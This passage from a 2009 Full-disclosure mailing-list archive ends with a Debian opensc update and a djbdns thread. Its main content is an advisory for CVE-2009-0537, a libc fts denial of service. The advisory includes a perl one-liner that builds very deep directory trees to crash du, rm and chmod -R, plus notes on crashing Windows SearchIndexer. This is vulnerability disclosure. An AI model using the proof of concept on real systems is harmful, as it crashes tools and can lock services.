    Size/MD5 checksum:  1242074 42f645018b540f551573815813e2b014
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_s390.deb
    Size/MD5 checksum:  1288032 57133c53afe7b50f517577fb3223ec80
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_s390.deb
    Size/MD5 checksum:   382574 7939fd08de0421d15f5c7a20ff935576


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iQEcBAEBAgAGBQJJr4dhAAoJECIIoQCMVaAct04IAJMwLwCUCYzF97ERvt62ZP+d
qBo9P8ELC9alOoMSUA/KHNu0fE+Q4/wcejYUc647T6rdIIj20yoGXhhvhHlx5g8F
TYaDPHQN26JglEgsFfSN/BoAMFNQgHzzq/gsKfGLpqxMahESNLjiF/DfGftqgCD2
ky4HGfFKCF+d7hH5+7R5WiEZ/6IFCZH89T8VCY1in9LvylbbWXhNpizpR33oHArk
ru9lYQp0l8KnifonxUNVXSMr5LwJXEl4mQ0+N7QUT5fHqcmOOcS7sAdmE6w8bzaW
VdBVh8XKFXsuvCZjp32cGdB1bHvUosd5Pf4F3cjMOB/P1EaSZkZK4F03ryTz5+Q=
=fIxQ
-----END PGP SIGNATURE-----



From 0xjbrown41 at gmail.com  Thu Mar  5 16:20:42 2009
From: 0xjbrown41 at gmail.com (Jeremy Brown)
Date: Thu, 5 Mar 2009 11:20:42 -0500
Subject: [Full-disclosure] djbdns misformats some long response packets;
	patch and example 	attack
In-Reply-To: <d791b8790903042205x504c6fbdod2e376102abbc29d@mail.gmail.com>
References: <d791b8790902261534h2f5ea65k35c940f3166293b@mail.gmail.com>
	<d791b8790903042205x504c6fbdod2e376102abbc29d@mail.gmail.com>
Message-ID: <c83481820903050820w1932b0d6u145fb187fd4ff7ac@mail.gmail.com>

With all due respect, this isn't the first security hole found in Mr.
Bernstein's software, but seemingly the first he will actually
acknowledge. Well done, Matthew Dempsky.

On Thu, Mar 5, 2009 at 1:05 AM, Matthew Dempsky <matthew at dempsky.org> wrote:
> As a final update to this thread: Dan Bernstein acknowledged this bug
> as a security hole in djbdns and recommends that users install my
> patch. ?A copy of his post is available at
> http://marc.info/?l=djbdns&m=123613000920446&w=2.
>



From cxib at securityreason.com  Thu Mar  5 16:50:23 2009
From: cxib at securityreason.com (Maksymilian Arciemowicz)
Date: Thu, 05 Mar 2009 17:50:23 +0100
Subject: [Full-disclosure] libc:fts_*():multiple vendors, Denial-of-service
Message-ID: <49B002CF.8040809@securityreason.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[libc:fts_*():multiple vendors, Denial-of-service ]

Author: Maksymilian Arciemowicz
SecurityReason.com
Date:
- - Dis.: 21.10.2008
- - Pub.: 04.03.2009

CVE: CVE-2009-0537

We are going informing all vendors, about this problem.

Affected Software (official):
- - OpenBSD 4.4
	/usr/src/lib/libc/gen/fts.c
- - Microsoft Interix
	6.0 10.0.6030.0 x86
- - Microsft Vista Enterprise
	SearchIndexer.exe

probably more...

Original URL:
http://securityreason.com/achievement_securityalert/60

- --- 0.Description ---

The fts functions are provided for traversing UNIX file hierarchies.
The fts_open() function returns a "handle" on a file hierarchy, which is
then supplied to the other fts functions.
The function fts_read() returns a pointer to a structure describing one
of the files in the file hierarchy.
The function fts_children() returns a pointer to a linked list of
structures, each of which describes one of the files contained in a
directory within the hierarchy.

	typedef struct _ftsent {
             unsigned short fts_info;        /* flags for FTSENT
structure */
             char *fts_accpath;              /* access path */
             char *fts_path;                 /* root path */
             size_t fts_pathlen;             /* strlen(fts_path) */
             char *fts_name;                 /* file name */
             size_t fts_namelen;             /* strlen(fts_name) */
             short fts_level;                /* depth (-1 to N) */
             int fts_errno;                  /* file errno */
             long fts_number;                /* local numeric value */
             void *fts_pointer;              /* local address value */
             struct _ftsent *fts_parent;     /* parent directory */
             struct _ftsent *fts_link;       /* next file structure */
             struct _ftsent *fts_cycle;      /* cycle structure */
             struct stat *fts_statp;         /* stat(2) information */
     } FTSENT;

- --- 1. libc:fts_*():multiple vendors, Denial-of-service ---
The main problem exist in fts_level from ftsent structure. Type of
fts_level is short.

let's see /usr/src/lib/libc/gen/fts.c (OpenBSD)

- ---line-616-625---
	/*
	 * Figure out the max file name length that can be stored in the
	 * current path -- the inner loop allocates more path as necessary.
	 * We really wouldn't have to do the maxlen calculations here, we
	 * could do them in fts_read before returning the path, but it's a
	 * lot easier here since the length is part of the dirent structure.
	 *
	 * If not changing directories set a pointer so that can just append
	 * each new name into the path.
	 */
- ---line-616-625---

"We really wouldn't have to do the maxlen calculations here..."

Here should be some level or pathlen monitor. Should.

             short fts_level;                /* depth (-1 to N) */

fts_level is short type, no aleph zero

- ---line-247-249---
#define	NAPPEND(p)							\
	(p->fts_path[p->fts_pathlen - 1] == '/'				\
	    ? p->fts_pathlen - 1 : p->fts_pathlen)
- ---line-247-249---

this function will crash, when we will requests to wrong allocated memory.

So, what is wrong:

127# pwd
/home/cxib
127# du /home/
4       /home/cxib/.ssh
Segmentation fault (core dumped)
127# rm -rf Samotnosc
Segmentation fault (core dumped)
127# chmod -R 000 Samotnosc
Segmentation fault (core dumped)


127# gdb -q du
(no debugging symbols found)
(gdb) r /home/
Starting program: /usr/bin/du /home/
4       /home/cxib/.ssh

Program received signal SIGSEGV, Segmentation fault.
0x0b3e65c1 in fts_read (sp=0x8a1b11c0) at /usr/src/lib/libc/gen/fts.c:385
385     name:           t = sp->fts_path + NAPPEND(p->fts_parent);
(gdb) print p->fts_level
$1 = -19001
(gdb) print p->fts_path
$2 = 0x837c9000 <Address 0x837c9000 out of bounds>

and we have answer.


127# cd /home/cxib
127# mkdir len
127# cd len
127# mkdir 24
127# mkdir 23
127# mkdir 22
127# cd 22
127# perl -e '$a="C"x22;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
Segmentation fault (core dumped)
127# cd ../23/
127# perl -e '$a="C"x23;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
Segmentation fault (core dumped)
127# cd ../24/
127# perl -e '$a="C"x24;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
/* Will print correctly output */

In all cases, the function should return an error flag "ENAMETOOLONG".

The security consequences can be derived from the crash of the program.
All combinations like " while ( fts_read ( ) ) " and " ftw ( ) "
function, constitute a potential risk.

Examples of vulnerable programs:
du
rm
chmod -R
chgrp -R

In the case of Microsoft Interix, the situation is very similar.

% uname -a
Interix cxib-PC 6.0 10.0.6030.0 x86 Intel_x86_Family6_Model123_Stepping6
% du pa
Segmentation fault

Vista Enterprise does not allow for the creation of the name too long.
At the same time, has great problems with the operation of such nodes.
Using Interix subsystem, you can create a deep tree to the NTFS partition.

example:
fts_level -10000
	
Then, we can no longer do anything with incorrect directory from the
Windows API.
If you try change permissions, copy the directory, you will receive a
lot of bugs (stack overflow etc.).

SearchIndexer.exe will crash many times

- ---
Faulting application SearchIndexer.exe, version 7.0.6001.16503, time
stamp 0x483b99af, faulting module msvcrt.dll, version 7.0.6001.18000,
time stamp 0x4791a727, exception code 0x40000015, fault offset
0x00053adb, process id 0x364, application start time 0x01c99276bd383759.
- ---
	
In some cases, is possible to permanently lock the service.

Interesting behavior we can see an example

C:\Users\cxib\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\Not_existed_node\

(try put this path into explorer)

where

C:\Users\cxib\O\O